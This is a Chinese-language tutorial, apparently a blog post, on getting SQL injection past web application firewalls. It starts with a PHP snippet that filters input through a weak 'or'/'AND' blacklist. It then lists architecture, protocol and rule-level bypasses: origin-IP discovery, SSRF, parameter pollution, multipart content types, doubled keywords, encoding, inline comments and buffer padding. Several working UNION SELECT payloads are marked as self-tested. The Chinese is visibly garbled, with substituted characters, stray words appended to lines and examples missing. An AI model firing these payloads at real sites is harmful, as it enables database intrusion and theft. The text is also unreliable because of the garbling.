针对代码审计,有的waf采用代码的方式,编写过滤函数,以下blacklist()函数所示:php
1 ........ 2 3 $id=$_GET['id']; 4 5 $id=blacklist($id); 6 7 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; 8 9 $result=mysql_query($sql); 10 11 $row=mysql_fetch_array($result); 12 13 .........
1 function blacklist($id){ 2
3 $id=preg_replace('/or/i',"",$id);//过滤or
4
5 $id=preg_replace('/AND/i',"",$id);//过滤AND
6
7 return $id; 8 }
策略:
(1)大小写变形,这里也许没法成功,由于函数使用了正则匹配,/or/i ;所以能够考虑重复,好比使用:OorR,就算过滤了一个or,仍然还剩一个ORmysql
(2)等价替换,将and——>&& or——>||web
(一)架构层绕WAFsql
(1)用户自己是进入waf后访问web页面的,只要咱们找到web的真实IP,绕过waf就不在话下了。服务器
(2)在同网段内,页面与页面之间,服务器与服务器之间,经过waf的保护,而后展现给咱们,只要咱们在内部服务之间进行访问,便可绕过waf架构
(3)边界漏洞,一样相似于同网段数据,咱们能够利用已知服务器存在的ssrf漏洞,将数据直接发送给同网段的web2进行SQL注入oracle
(二)资源限制角度绕WAFapp
有的时候,因为数据太大,会致使waf没法将全部的数据都检测完,这个时候会忽略掉咱们代入的sql注入语句,从而绕过waf,即:使用POST请求,对服务器请求很大资源逃逸sql注入语句。函数
(三)协议层面绕过WAFsqlserver
(1)基于协议层,有的waf只过滤GET请求,而对POST请求没作别的限制,所以,能够将GET型换为POST型
(2)文件格式,页面仅对Content-Type为application/x-www-form-urlencoded数据格式进行过滤,所以咱们只要将Content-Type格式修改成multipart/form-data,便可绕过waf
(3)参数污染:有的waf仅对部份内容进行过滤,例如:
index.php?id=1&id=2
这样的参数id=1,waf也许仅对前部分的id=1进行检测,然后面的参数并不作处理。这样咱们就能够在id=2的后面写入sql注入语句进行sql注入
(四)规则层面绕过
(1)首先使用比较特殊的方法进行绕过:
能够在注入点,测试waf到底拦截的哪一部分的数据,若是是空格,能够尝试:/*%!%2f*/
若是是对sql的函数进行了过滤,能够尝试:XX() ——> XX/*%!%2f*/()
(2)如下为常见的规则替换,部分姿式:
如下为总结方式:
(3)大小写
select * from users where id='1' uNioN SeleCt 1,2,3;
(4)替换关键字(关键字重复)
select * from users where id=1 ununionion selselectect 1,2,3;
(5)编码
select * from users where id=1 union%0Aselect%0A1,2,3;//自测成功,但%2b不成功
select * from users where id=1 %75nion select 1,2,3;//自测成功,继续加油
(6)内联注释
select * from users where id=1 union/**/select/**/1,2,3;//自测成功,继续加油
(7)等价函数替换
version()——> @@version
mid :mysql从第五位字符串开始截取,直到最后
从第三个字符串开始截取,截取三位
substr :oracle、mysql、sqlserver
从第三个字符串开始截取,直到最后
从第二个字符串开始截取,截取五个字符
substring :mysql、sqlserver
从第三个字符串开始截取,直到最后@@datadir ——> datadir()
select * from users where id=1 union select (mid(user(),5,3)),2,3;//自测成功,继续加油
(8)特殊符号
+ # ——>%23(#) --+(注释符) \\\\ `(上引号) @
select * from users where id=1 union+select+1,2,3;//自测成功,继续加油
(9)内联注释加!
select * from users where id=1 /*!union*/select 1,2,3;//自测成功,继续加油
(10)缓冲区溢出
select * from users where id=1 and (select 1)=(Select 0xA*1000) uNiOn SeLeCt 1,2,version();//自测成功,继续加油
0xA*1000 指的是0XA后面的 "A" 重复1000次
通常来讲对应用软件构成缓冲区溢出都须要比较大的测试长度
这里1000仅供参考,在一些状况下也能够更短
(11)mysql特性绕过
1.= 等于
:= 赋值
@ @+变量名可直接调用
select * from users where id=1 union select @test=user(),2,3;//1
select * from users where id=1 union select @test:=user(),2,3;//自测可用,继续加油,root
select * from users where id=1 union select @,2,3;//NULL
(12)黑魔法
{x user} {x mysql.user}
select{x user}from{x mysql.user};//自测成功,继续加油,root